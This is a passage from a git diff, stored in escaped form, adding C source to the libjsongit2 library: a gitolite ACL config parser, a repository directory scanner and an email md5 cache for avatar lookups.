\u003d\u003d '\u005ct')\n+\t\t\t\tbreak;\n+\t\t\tgp-\u003estate \u003d GCS_MACRODEF_VALUE;\n+\t\t\t/* fallthru */\n+\n+\t\tcase GCS_MACRODEF_VALUE:\n+\t\t\tif (*gp-\u003ep \u003d\u003d '\u005cn') {\n+\t\t\t\t//lwsl_err(\u0022macro: '%s' '%s'\u005cn\u0022, gp-\u003emacro_name,\n+\t\t\t\t//\t\tgp-\u003emacro_value);\n+\t\t\t\t/* allocate the whole area at once */\n+\t\t\t\tacl \u003d lac_use(\u0026vh-\u003eacl_lac_head,\n+\t\t\t\t\t\t sizeof(*acl) +\n+\t\t\t\t\t\t gp-\u003ename_len + 1 +\n+\t\t\t\t\t\t gp-\u003epos + 1, 0);\n+\n+\t\t\t\tacl-\u003elen1 \u003d gp-\u003ename_len;\n+\t\t\t\tacl-\u003elen2 \u003d gp-\u003epos;\n+\n+\t\t\t\tp \u003d (char *)(acl + 1);\n+\t\t\t\tmemcpy(p, gp-\u003emacro_name, acl-\u003elen1 + 1);\n+\t\t\t\tmemcpy(p + acl-\u003elen1 + 1, gp-\u003emacro_value,\n+\t\t\t\t acl-\u003elen2 + 1);\n+\n+\t\t\t\tlist_ptr_insert(\u0026vh-\u003eacl_macro_head,\n+\t\t\t\t\t\t\u0026acl-\u003enext, NULL);\n+\n+\t\t\t\tgp-\u003estate \u003d GCS_IDLE;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\tif (gp-\u003epos \u003d\u003d sizeof(gp-\u003emacro_value) - 1) {\n+\t\t\t\tlwsl_err(\u0022%s: macro value too long: %s\u005cn\u0022,\n+\t\t\t\t\t __func__, gp-\u003emacro_name);\n+\t\t\t\treturn -1;\n+\t\t\t}\n+\t\t\tgp-\u003emacro_value[gp-\u003epos++] \u003d *gp-\u003ep;\n+\t\t\tgp-\u003emacro_value[gp-\u003epos] \u003d '\u005c0';\n+\t\t\tbreak;\n+\n+\t\tcase GCS_REPO:\n+\t\t\tgp-\u003epos++;\n+\t\t\tif (gp-\u003epos \u003d\u003d 1 \u0026\u0026 *gp-\u003ep \u003d\u003d 'e')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 2 \u0026\u0026 *gp-\u003ep \u003d\u003d 'p')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 3 \u0026\u0026 *gp-\u003ep \u003d\u003d 'o') {\n+\t\t\t\tgp-\u003estate \u003d GCS_REPO_WS1;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tgoto syntax_error;\n+\n+\t\tcase GCS_REPO_WS1:\n+\t\t\tgp-\u003epos \u003d 0;\n+\t\t\tif (*gp-\u003ep \u003d\u003d ' ' || *gp-\u003ep \u003d\u003d '\u005ct')\n+\t\t\t\tbreak;\n+\t\t\tgp-\u003estate \u003d GCS_REPO_REPODEF;\n+\t\t\t/* fallthru */\n+\n+\t\tcase GCS_REPO_REPODEF:\n+\t\t\tif (*gp-\u003ep \u003d\u003d '\u005cn') {\n+\t\t\t\tgp-\u003epos \u003d 0;\n+\t\t\t\tgp-\u003estate \u003d GCS_ACL_WS_PRE;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tgp-\u003emacro_name[gp-\u003epos++] \u003d *gp-\u003ep;\n+\t\t\tgp-\u003emacro_name[gp-\u003epos] \u003d '\u005c0';\n+\t\t\tgp-\u003ename_len \u003d gp-\u003epos;\n+\t\t\tbreak;\n+\n+\t\tcase GCS_ACL_WS_PRE:\n+\t\t\tgp-\u003eseen_read \u003d 0;\n+\t\t\tif (*gp-\u003ep \u003d\u003d ' ' || *gp-\u003ep \u003d\u003d '\u005ct')\n+\t\t\t\tbreak;\n+\t\t\tif (*gp-\u003ep \u003d\u003d '\u005cn') {\n+\t\t\t\tgp-\u003estate \u003d GCS_IDLE;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tgp-\u003estate \u003d GCS_ACL_FLAGS;\n+\t\t\t/* fallthru */\n+\n+\t\tcase GCS_ACL_FLAGS:\n+\t\t\tif (*gp-\u003ep \u003d\u003d 'R') {\n+\t\t\t\tgp-\u003eseen_read \u003d 1;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tif (*gp-\u003ep \u003d\u003d 'W')\n+\t\t\t\tbreak;\n+\t\t\tif (*gp-\u003ep \u003d\u003d '+')\n+\t\t\t\tbreak;\n+\t\t\tif (*gp-\u003ep \u003d\u003d '-')\n+\t\t\t\tbreak;\n+\t\t\tif (*gp-\u003ep \u003d\u003d '\u003d') {\n+\t\t\t\tif (gp-\u003eseen_read)\n+\t\t\t\t\tgp-\u003estate \u003d GCS_ACL_WS3;\n+\t\t\t\telse\n+\t\t\t\t\tgp-\u003estate \u003d GCS_ACL_IGNORE;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tif (*gp-\u003ep \u003d\u003d 'c') {\n+\t\t\t\tgp-\u003epos \u003d 0;\n+\t\t\t\tgp-\u003estate \u003d GCS_CONFIG;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tif (*gp-\u003ep \u003d\u003d 'r') {\n+\t\t\t\tgp-\u003epos \u003d 0;\n+\t\t\t\tgp-\u003estate \u003d GCS_REPO;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tif (*gp-\u003ep !\u003d ' ' \u0026\u0026 *gp-\u003ep !\u003d '\u005ct')\n+\t\t\t\tgoto syntax_error;\n+\n+\t\t\tgp-\u003estate \u003d GCS_ACL_WS1;\n+\t\t\t/* fallthru */\n+\n+\t\tcase GCS_ACL_WS1:\n+\t\t\tgp-\u003epos \u003d 0;\n+\t\t\tif (*gp-\u003ep \u003d\u003d ' ' || *gp-\u003ep \u003d\u003d '\u005ct')\n+\t\t\t\tbreak;\n+\t\t\tif (*gp-\u003ep \u003d\u003d '\u003d') {\n+\t\t\t\tgp-\u003estate \u003d GCS_ACL_WS3;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\tgp-\u003estate \u003d GCS_ACL_REFSPEC;\n+\t\t\tbreak;\n+\n+\t\tcase GCS_ACL_REFSPEC:\n+\t\t\tif (*gp-\u003ep !\u003d ' ' \u0026\u0026 *gp-\u003ep !\u003d '\u005ct')\n+\t\t\t\tbreak;\n+\t\t\tgp-\u003estate \u003d GCS_ACL_WS2;\n+\t\t\t/* fallthru */\n+\n+\t\tcase GCS_ACL_WS2:\n+\t\t\tif (*gp-\u003ep \u003d\u003d ' ' || *gp-\u003ep \u003d\u003d '\u005ct')\n+\t\t\t\tbreak;\n+\t\t\tif (*gp-\u003ep !\u003d '\u003d')\n+\t\t\t\tgoto syntax_error;\n+\n+\t\t\tgp-\u003estate \u003d GCS_ACL_WS2;\n+\t\t\t/* fallthru */\n+\n+\t\tcase GCS_ACL_WS3:\n+\t\t\tif (*gp-\u003ep \u003d\u003d ' ' || *gp-\u003ep \u003d\u003d '\u005ct')\n+\t\t\t\tbreak;\n+\t\t\tgp-\u003estate \u003d GCS_ACL_USERS;\n+\t\t\t/* fallthru */\n+\n+\t\tcase GCS_ACL_USERS:\n+\t\t\tif (*gp-\u003ep \u003d\u003d '\u005cn') {\n+\t\t\t\t//lwsl_err(\u0022repos: '%s', acl: '%s'\u005cn\u0022,\n+\t\t\t\t//\t gp-\u003emacro_name, gp-\u003emacro_value);\n+\n+\t\t\t\t/* allocate the whole area at once */\n+\t\t\t\tacl \u003d lac_use(\u0026vh-\u003eacl_lac_head,\n+\t\t\t\t\t sizeof(*acl) + gp-\u003ename_len + 1 +\n+\t\t\t\t\t gp-\u003epos + 1, 0);\n+\n+\t\t\t\tacl-\u003elen1 \u003d gp-\u003ename_len;\n+\t\t\t\tacl-\u003elen2 \u003d gp-\u003epos;\n+\n+\t\t\t\tp \u003d (char *)(acl + 1);\n+\t\t\t\tmemcpy(p, gp-\u003emacro_name, acl-\u003elen1 + 1);\n+\t\t\t\tmemcpy(p + acl-\u003elen1 + 1, gp-\u003emacro_value,\n+\t\t\t\t acl-\u003elen2 + 1);\n+\n+\t\t\t\tlist_ptr_insert(\u0026vh-\u003eacl_rule_head,\n+\t\t\t\t\t\t\u0026acl-\u003enext, NULL);\n+\n+\t\t\t\tgp-\u003estate \u003d GCS_ACL_WS_PRE;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\tif (gp-\u003epos \u003d\u003d sizeof(gp-\u003emacro_value) - 1) {\n+\t\t\t\tlwsl_err(\u0022%s: macro value too long: %s\u005cn\u0022,\n+\t\t\t\t\t __func__, gp-\u003emacro_name);\n+\t\t\t\treturn -1;\n+\t\t\t}\n+\t\t\tgp-\u003emacro_value[gp-\u003epos++] \u003d *gp-\u003ep;\n+\t\t\tgp-\u003emacro_value[gp-\u003epos] \u003d '\u005c0';\n+\t\t\tbreak;\n+\n+\t\tcase GCS_ACL_IGNORE:\n+\t\t\tif (*gp-\u003ep !\u003d '\u005cn')\n+\t\t\t\tbreak;\n+\t\t\tgp-\u003epos \u003d 0;\n+\t\t\tgp-\u003estate \u003d GCS_ACL_WS_PRE;\n+\t\t\tbreak;\n+\n+\t\tcase GCS_INCLUDE:\n+\t\t\tgp-\u003epos++;\n+\t\t\tif (gp-\u003epos \u003d\u003d 1 \u0026\u0026 *gp-\u003ep \u003d\u003d 'n')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 2 \u0026\u0026 *gp-\u003ep \u003d\u003d 'c')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 3 \u0026\u0026 *gp-\u003ep \u003d\u003d 'l')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 4 \u0026\u0026 *gp-\u003ep \u003d\u003d 'u')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 5 \u0026\u0026 *gp-\u003ep \u003d\u003d 'd')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 6 \u0026\u0026 *gp-\u003ep \u003d\u003d 'e') {\n+\t\t\t\tgp-\u003estate \u003d GCS_INCLUDE_WS1;\n+\n+\t\t\t\tif (gp-\u003elast) {\n+\t\t\t\t\tlwsl_err(\u0022too many include levels\u005cn\u0022);\n+\t\t\t\t\tgoto syntax_error;\n+\t\t\t\t}\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tgoto syntax_error;\n+\n+\t\tcase GCS_INCLUDE_WS1:\n+\t\t\tgp-\u003epos \u003d 0;\n+\t\t\tif (*gp-\u003ep \u003d\u003d ' ' || *gp-\u003ep \u003d\u003d '\u005ct')\n+\t\t\t\tbreak;\n+\t\t\tif (*gp-\u003ep !\u003d '\u005c\u0022')\n+\t\t\t\tgoto syntax_error;\n+\n+\t\t\tgp-\u003estate \u003d GCS_INCLUDE_PATH;\n+\t\t\tbreak;\n+\n+\t\tcase GCS_INCLUDE_PATH:\n+\t\t\tif (*gp-\u003ep \u003d\u003d '\u005c\u0022') {\n+\t\t\t\tgp-\u003estate \u003d GCS_IDLE;\n+\t\t\t\tgp-\u003emacro_value[gp-\u003epos] \u003d '\u005c0';\n+\n+\t\t\t\tif (__parser_init(gp + 1, vh, gp-\u003erepo,\n+\t\t\t\t\t\t gp-\u003etree, md5_ctx,\n+\t\t\t\t\t\t gp-\u003emacro_value))\n+\t\t\t\t\treturn 1;\n+\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\tif (gp-\u003epos \u003e sizeof(gp-\u003emacro_value) - 2)\n+\t\t\t\tgoto syntax_error;\n+\n+\t\t\tgp-\u003emacro_value[gp-\u003epos++] \u003d *gp-\u003ep;\n+\t\t\tbreak;\n+\n+\t\tcase GCS_CONFIG:\n+\t\t\tgp-\u003epos++;\n+\t\t\tif (gp-\u003epos \u003d\u003d 1 \u0026\u0026 *gp-\u003ep \u003d\u003d 'o')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 2 \u0026\u0026 *gp-\u003ep \u003d\u003d 'n')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 3 \u0026\u0026 *gp-\u003ep \u003d\u003d 'f')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 4 \u0026\u0026 *gp-\u003ep \u003d\u003d 'i')\n+\t\t\t\tbreak;\n+\t\t\tif (gp-\u003epos \u003d\u003d 5 \u0026\u0026 *gp-\u003ep \u003d\u003d 'g') {\n+\t\t\t\tgp-\u003estate \u003d GCS_CONFIG_IGNORE;\n+\n+\t\t\t\tif (gp-\u003elast) {\n+\t\t\t\t\tlwsl_err(\u0022too many include levels\u005cn\u0022);\n+\t\t\t\t\tgoto syntax_error;\n+\t\t\t\t}\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tgoto syntax_error;\n+\t\t\tbreak;\n+\n+\t\tcase GCS_CONFIG_IGNORE:\n+\t\t\tif (*gp-\u003ep !\u003d '\u005cn')\n+\t\t\t\tbreak;\n+\t\t\tgp-\u003estate \u003d GCS_ACL_WS_PRE;\n+\t\t\tgp-\u003epos \u003d 0;\n+\t\t\tgp-\u003eseen_read \u003d 0;\n+\t\t\tbreak;\n+\t\t}\n+after:\n+\n+\t\tif (*gp-\u003ep \u003d\u003d '\u005cn')\n+\t\t\tgp-\u003eline++;\n+\n+\t\tgp-\u003ep++;\n+\t}\n+\n+\treturn 0;\n+\n+syntax_error:\n+\tlwsl_err(\u0022%s: %d: syntax error '%c' state %d\u005cn\u0022, __func__, gp-\u003eline,\n+\t\t *gp-\u003ep, gp-\u003estate);\n+\n+\treturn 1;\n+}\n+\n+/* requires vhost lock */\n+\n+static int\n+__parser_init(struct gitolite_conf *gp, struct jg2_vhost *vh,\n+\t\t git_repository *repo, git_tree *tree, jg2_md5_context md5_ctx,\n+\t\t const char *in_repo_filepath)\n+{\n+\tgit_tree_entry *te;\n+\tint m, ret;\n+\n+\tgp-\u003etree \u003d tree;\n+\tgp-\u003erepo \u003d repo;\n+\n+\tm \u003d git_tree_entry_bypath(\u0026te, tree, in_repo_filepath);\n+\tif (m) {\n+\t\tlwsl_err(\u0022get_tree_entry_bypath failed\u005cn\u0022);\n+\n+\t\treturn 1;\n+\t}\n+\n+\tm \u003d git_tree_entry_to_object(\u0026gp-\u003eu.obj, repo, te);\n+\tgit_tree_entry_free(te);\n+\tif (m) {\n+\t\tlwsl_err(\u0022tree_entry_to_object failed\u005cn\u0022);\n+\n+\t\treturn 1;\n+\t}\n+\n+\tif (git_object_type(gp-\u003eu.obj) !\u003d GIT_OBJ_BLOB) {\n+\t\tlwsl_err(\u0022object is not a blob (%d)\u005cn\u0022,\n+\t\t\t git_object_type(gp-\u003eu.obj));\n+\t\tgit_object_free(gp-\u003eu.obj);\n+\n+\t\treturn 1;\n+\t}\n+\n+\tgp-\u003estate \u003d GCS_IDLE;\n+\tgp-\u003ep \u003d git_blob_rawcontent(gp-\u003eu.blob);\n+\tgp-\u003eend \u003d gp-\u003ep + git_blob_rawsize(gp-\u003eu.blob);\n+\tgp-\u003eline \u003d 1;\n+\tgp-\u003ecomment \u003d 0;\n+\tgp-\u003ename_len \u003d 0;\n+\tgp-\u003epos \u003d 0;\n+\n+\tret \u003d __parse(gp, vh, md5_ctx);\n+\n+\tgit_object_free(gp-\u003eu.obj);\n+\n+\treturn ret;\n+}\n+\n+/*\n+ * gitolite ACL config parser\n+ *\n+ * #comment for rest of line\n+ *\n+ * @macro\u003dstring1 string2 defines macro to be string1 string2\n+ *\n+ * @macro anywhere is replaced by string1 string2\n+ *\n+ * repo \u003crepo list\u003e\n+ * [RW+] [optional reflist] \u003d [name list]\n+ * [- reflist] \u003d [name list]\n+ *\n+ * For now, anything with a reflist we ignore.\n+ *\n+ * Because later rules can countermand earlier rules, and macros may be\n+ * forward-referenced, we defer dereferencing the macros until we try to\n+ * walk the repo ACLs.\n+ *\n+ * Just to make things exciting, the config only exists in the\n+ * gitolite-admin bare git repo, not as files on disk.\n+ *\n+ * The set of repos is defined by the available subdirs.\n+ *\n+ * The repo token only restricts the whole set somehow.\n+ */\n+\n+int\n+jg2_conf_scan_gitolite(struct jg2_vhost *vh)\n+{\n+\tstruct gitolite_conf stack[3];\n+\tgit_repository *repo;\n+\tchar filepath[256];\n+\tgit_generic_ptr u;\n+\tint m, ret \u003d 1;\n+\tgit_commit *c;\n+\tgit_oid oid;\n+\n+\tstack[0].last \u003d stack[1].last \u003d 0;\n+\tstack[2].last \u003d 1;\n+\n+\t/* it's OK if the gitolite-admin repo doesn't exist, we just return */\n+\n+\tlws_snprintf(filepath, sizeof(filepath), \u0022%s/gitolite-admin.git\u0022,\n+\t\t vh-\u003ecfg.repo_base_dir);\n+\n+\tm \u003d git_repository_open_ext(\u0026repo, filepath, 0, NULL);\n+\tif (m \u003c 0)\n+\t\tgoto bail;\n+\n+\tm \u003d git_reference_name_to_id(\u0026oid, repo, \u0022refs/heads/master\u0022);\n+\tif (m \u003c 0) {\n+\t\tlwsl_err(\u0022%s: unable to find master ref: %d\u005cn\u0022, __func__, m);\n+\t\tgoto bail1;\n+\t}\n+\n+\tm \u003d git_object_lookup(\u0026u.obj, repo, \u0026oid, GIT_OBJ_ANY);\n+\tif (m \u003c 0) {\n+\t\tlwsl_err(\u0022object lookup failed\u005cn\u0022);\n+\t\tgoto bail1;\n+\t}\n+\n+\tif (git_object_type(u.obj) !\u003d GIT_OBJ_COMMIT) {\n+\t\tlwsl_err(\u0022object not a commit\u005cn\u0022);\n+\n+\t\tgoto bail1;\n+\t}\n+\n+\t/* convert the commit object to a tree object */\n+\n+\tc \u003d u.commit;\n+\tm \u003d git_commit_tree(\u0026u.tree, u.commit);\n+\tgit_commit_free(c);\n+\tif (m) {\n+\t\tlwsl_err(\u0022git_commit_tree failed\u005cn\u0022);\n+\n+\t\tgoto bail1;\n+\t}\n+\n+\tpthread_mutex_lock(\u0026vh-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhost lock */\n+\n+\tret \u003d __parser_init(\u0026stack[0], vh, repo, u.tree, NULL,\n+\t\t\t \u0022conf/gitolite.conf\u0022);\n+\n+\toid_to_hex_cstr(vh-\u003erepodir-\u003ehexoid_gitolite_conf, \u0026oid);\n+\n+\tpthread_mutex_unlock(\u0026vh-\u003elock); /*--------------------- vhost unlock */\n+\n+\tgit_tree_free(u.tree);\n+\n+bail1:\n+\tgit_repository_free(repo);\n+bail:\n+\treturn ret;\n+}\ndiff --git a/lib/conf/private.h b/lib/conf/private.h\nnew file mode 100644\nindex 0000000..9469aa0\n--- /dev/null\n+++ b/lib/conf/private.h\n@@ -0,0 +1,14 @@\n+struct repo_entry_info;\n+\n+int\n+jg2_conf_scan_gitolite(struct jg2_vhost *vh);\n+\n+int\n+jg2_get_repo_config(git_repository *gr, struct repo_entry_info *rei, char *p);\n+\n+int\n+jg2_conf_scan_repos(struct jg2_vhost *vh);\n+\n+int\n+__repo_check_acl(struct jg2_vhost *vh, const char *reponame,\n+\t const char *acl_name);\ndiff --git a/lib/conf/scan-repos.c b/lib/conf/scan-repos.c\nnew file mode 100644\nindex 0000000..0ac558b\n--- /dev/null\n+++ b/lib/conf/scan-repos.c\n@@ -0,0 +1,132 @@\n+/*\n+ * libjsongit2 - scan-repos\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstring.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cunistd.h\u003e\n+#include \u003cfcntl.h\u003e\n+#include \u003cdirent.h\u003e\n+#include \u003csys/types.h\u003e\n+#include \u003csys/stat.h\u003e\n+\n+#define lp_to_rei(p, _n) list_ptr_container(p, struct repo_entry_info, _n)\n+\n+static int\n+rei_alpha_sort(list_ptr a, list_ptr b)\n+{\n+\tstruct repo_entry_info *p1 \u003d lp_to_rei(a, next),\n+\t\t\t *p2 \u003d lp_to_rei(b, next);\n+\n+\treturn strcmp((const char *)(p1 + 1), (const char *)(p2 + 1));\n+}\n+\n+int\n+jg2_conf_scan_repos(struct jg2_vhost *vh)\n+{\n+\tchar *name, filepath[256], *p;\n+\tstruct repo_entry_info *rei;\n+\tint alen, m, ret \u003d -1;\n+\tgit_repository *repo;\n+\tstruct dirent *de;\n+\tstruct stat s;\n+\tDIR *dir;\n+\n+\tdir \u003d opendir(vh-\u003ecfg.repo_base_dir);\n+\tif (!dir) {\n+\t\tlwsl_err(\u0022Unable to walk repo dir '%s'\u005cn\u0022,\n+\t\t\t vh-\u003ecfg.repo_base_dir);\n+\t\treturn -1;\n+\t}\n+\n+\tpthread_mutex_lock(\u0026vh-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhost lock */\n+\n+\tdo {\n+\t\tde \u003d readdir(dir);\n+\t\tif (!de)\n+\t\t\tbreak;\n+\n+\t\tlws_snprintf(filepath, sizeof(filepath), \u0022%s/%s\u0022,\n+\t\t\t vh-\u003ecfg.repo_base_dir, de-\u003ed_name);\n+\n+\t\tif (stat(filepath, \u0026s))\n+\t\t\tcontinue;\n+\n+\t\tif (!S_ISDIR(s.st_mode))\n+\t\t\tcontinue;\n+\n+\t\tm \u003d strlen(de-\u003ed_name);\n+\t\tif (m \u003c\u003d 4 || strcmp(de-\u003ed_name + m - 4, \u0022.git\u0022))\n+\t\t\tcontinue;\n+\n+\t\t/* this cannot be served, so hide it */\n+\t\tif (!strcmp(de-\u003ed_name, \u0022gitolite-admin.git\u0022))\n+\t\t\tcontinue;\n+\n+\t\tlwsl_notice(\u0022%s: %s\u005cn\u0022, __func__, filepath);\n+\n+\t\tif (git_repository_open_ext(\u0026repo, filepath, 0, NULL)) {\n+\t\t\tif (giterr_last())\n+\t\t\t\tgiterr_clear();\n+\t\t\tcontinue;\n+\t\t}\n+\n+\t\tif (giterr_last())\n+\t\t\tgiterr_clear();\n+\n+\t\t/* just compute the size of the config elements */\n+\t\talen \u003d jg2_get_repo_config(repo, NULL, NULL);\n+\n+\t\t/* allocate the whole area at once */\n+\t\trei \u003d lac_use(\u0026vh-\u003erei_lac_head, sizeof(*rei) + m + alen, 0);\n+\t\tif (!rei) {\n+\t\t\tgit_repository_free(repo);\n+\t\t\tgoto bail;\n+\t\t}\n+\n+\t\t/* copy the name in; lac is already advanced + aligned */\n+\t\tp \u003d name \u003d (char *)(rei + 1);\n+\t\tmemcpy(name, de-\u003ed_name, m - 4);\n+\t\tname[m - 4] \u003d '\u005c0';\n+\t\tp +\u003d m - 3;\n+\t\trei-\u003ename_len \u003d m - 3;\n+\t\trei-\u003eacl_len \u003d 0; /* no restriction on this vhost */\n+\t\trei-\u003econf_len[0] \u003d rei-\u003econf_len[1] \u003d rei-\u003econf_len[2] \u003d 0;\n+\n+\t\t/* place the config elements */\n+\t\tjg2_get_repo_config(repo, rei, p);\n+\n+\t\tlist_ptr_insert(\u0026vh-\u003erei_head, \u0026rei-\u003enext, rei_alpha_sort);\n+\n+\t\tgit_repository_free(repo);\n+\n+\t} while (de);\n+\n+\tret \u003d 0;\n+\n+bail:\n+\tpthread_mutex_unlock(\u0026vh-\u003elock); /*--------------------- vhost unlock */\n+\n+\tclosedir(dir);\n+\n+\treturn ret;\n+}\ndiff --git a/lib/email/README.md b/lib/email/README.md\nnew file mode 100644\nindex 0000000..d321e78\n--- /dev/null\n+++ b/lib/email/README.md\n@@ -0,0 +1,11 @@\n+## Email md5 cache\n+\n+The vhost keeps a cache of computed md5s for a certain amount of recently-seen\n+email addresses, for use with an avatar provider like gravatar.\n+\n+By default it's 16 hash bins each of depth 16, so the most recent 256 emails\n+the vhost has seen.\n+\n+Each time an email is referenced, it is moved to the start of its hash bin;\n+when the bins are full the least-recently seen email is replaced with a new\n+reference.\ndiff --git a/lib/email/email.c b/lib/email/email.c\nnew file mode 100644\nindex 0000000..ef2f8d8\n--- /dev/null\n+++ b/lib/email/email.c\n@@ -0,0 +1,174 @@\n+/*\n+ * libjg2 - email / md5 hashing\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+#include \u003clibjsongit2.h\u003e\n+\n+#include \u003cstring.h\u003e\n+\n+static int\n+__email_hash(struct jg2_vhost *vh, const char *email)\n+{\n+\tint s \u003d 0;\n+\n+\twhile (*email)\n+\t\ts +\u003d *email++;\n+\n+\treturn s % vh-\u003ecfg.email_hash_bins;\n+}\n+\n+unsigned char *\n+email_md5(struct jg2_vhost *vh, const char *email)\n+{\n+\tstruct jg2_email *p, *op \u003d NULL, *oop \u003d NULL, *ne;\n+\tint bin;\n+\n+\tpthread_mutex_lock(\u0026vh-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhost lock */\n+\n+\tbin \u003d __email_hash(vh, email);\n+\n+\tp \u003d vh-\u003ebins[bin].first;\n+\n+\twhile (p) {\n+\t\tif (!(strcmp(p-\u003eemail, email))) {\n+\t\t\t/*\n+\t\t\t * every time we get a hit, move him to be \u0022first\u0022 in\n+\t\t\t * the linked-list, ie, quickest to find, and farthest\n+\t\t\t * from getting replaced on the end\n+\t\t\t */\n+\n+\t\t\tif (vh-\u003ecfg.avatar)\n+\t\t\t\tvh-\u003ecfg.avatar(vh-\u003ecfg.avatar_arg, p-\u003emd5);\n+\n+\t\t\tif (!op) { /* he is first */\n+\t\t\t\tpthread_mutex_unlock(\u0026vh-\u003elock); /* vh unlock */\n+\t\t\t\treturn p-\u003emd5;\n+\t\t\t}\n+\n+\t\t\top-\u003enext \u003d p-\u003enext;\n+\t\t\tp-\u003enext \u003d vh-\u003ebins[bin].first;\n+\t\t\tvh-\u003ebins[bin].first \u003d p;\n+\n+\t\t\tpthread_mutex_unlock(\u0026vh-\u003elock); /*----- vhost unlock */\n+\t\t\treturn p-\u003emd5;\n+\t\t}\n+\n+\t\toop \u003d op;\n+\t\top \u003d p;\n+\t\tp \u003d p-\u003enext;\n+\t}\n+\n+\t/* if the search failed, we naturally end up at the end of the ll */\n+\n+\tif (vh-\u003ebins[bin].count \u003c vh-\u003ecfg.email_hash_depth) {\n+\t\t/* create a new one */\n+\n+\t\tvh-\u003ebins[bin].count++;\n+\t\tne \u003d malloc(sizeof(*ne));\n+\t\tif (!ne) {\n+\t\t\tpthread_mutex_unlock(\u0026vh-\u003elock); /*----- vhost unlock */\n+\t\t\treturn NULL;\n+\t\t}\n+\t} else\n+\t\t/* replace the \u0022last\u0022 one */\n+\n+\t\tne \u003d op;\n+\n+\tne-\u003enext \u003d NULL;\n+\tstrncpy(ne-\u003eemail, email, sizeof(ne-\u003eemail) - 1);\n+\tne-\u003eemail[sizeof(ne-\u003eemail) - 1] \u003d '\u005c0';\n+\n+\tif (ne \u003d\u003d op \u0026\u0026 oop) /* replacing existing, just move to front */\n+\t\toop-\u003enext \u003d op-\u003enext; /* should always be NULL */\n+\n+\t/* adding new at front */\n+\tne-\u003enext \u003d vh-\u003ebins[bin].first;\n+\tvh-\u003ebins[bin].first \u003d ne;\n+\n+\tvh-\u003ecfg.md5_init(vh-\u003emd5_ctx);\n+\tvh-\u003ecfg.md5_upd(vh-\u003emd5_ctx, (unsigned char *)email, strlen(email));\n+\tvh-\u003ecfg.md5_fini(vh-\u003emd5_ctx, ne-\u003emd5);\n+\n+\tif (vh-\u003ecfg.avatar)\n+\t\tvh-\u003ecfg.avatar(vh-\u003ecfg.avatar_arg, ne-\u003emd5);\n+\n+\tpthread_mutex_unlock(\u0026vh-\u003elock); /*--------------------- vhost unlock */\n+\n+\treturn ne-\u003emd5;\n+}\n+\n+int\n+email_vhost_init(struct jg2_vhost *vh)\n+{\n+\tsize_t s;\n+\n+\t/* adjust defaults left at 0 */\n+\n+\tif (!vh-\u003ecfg.email_hash_bins)\n+\t\tvh-\u003ecfg.email_hash_bins \u003d 16;\n+\n+\tif (!vh-\u003ecfg.email_hash_depth)\n+\t\tvh-\u003ecfg.email_hash_depth \u003d 16;\n+\n+\tif (!vh-\u003ecfg.md5_alloc) {\n+\t\t/* use the 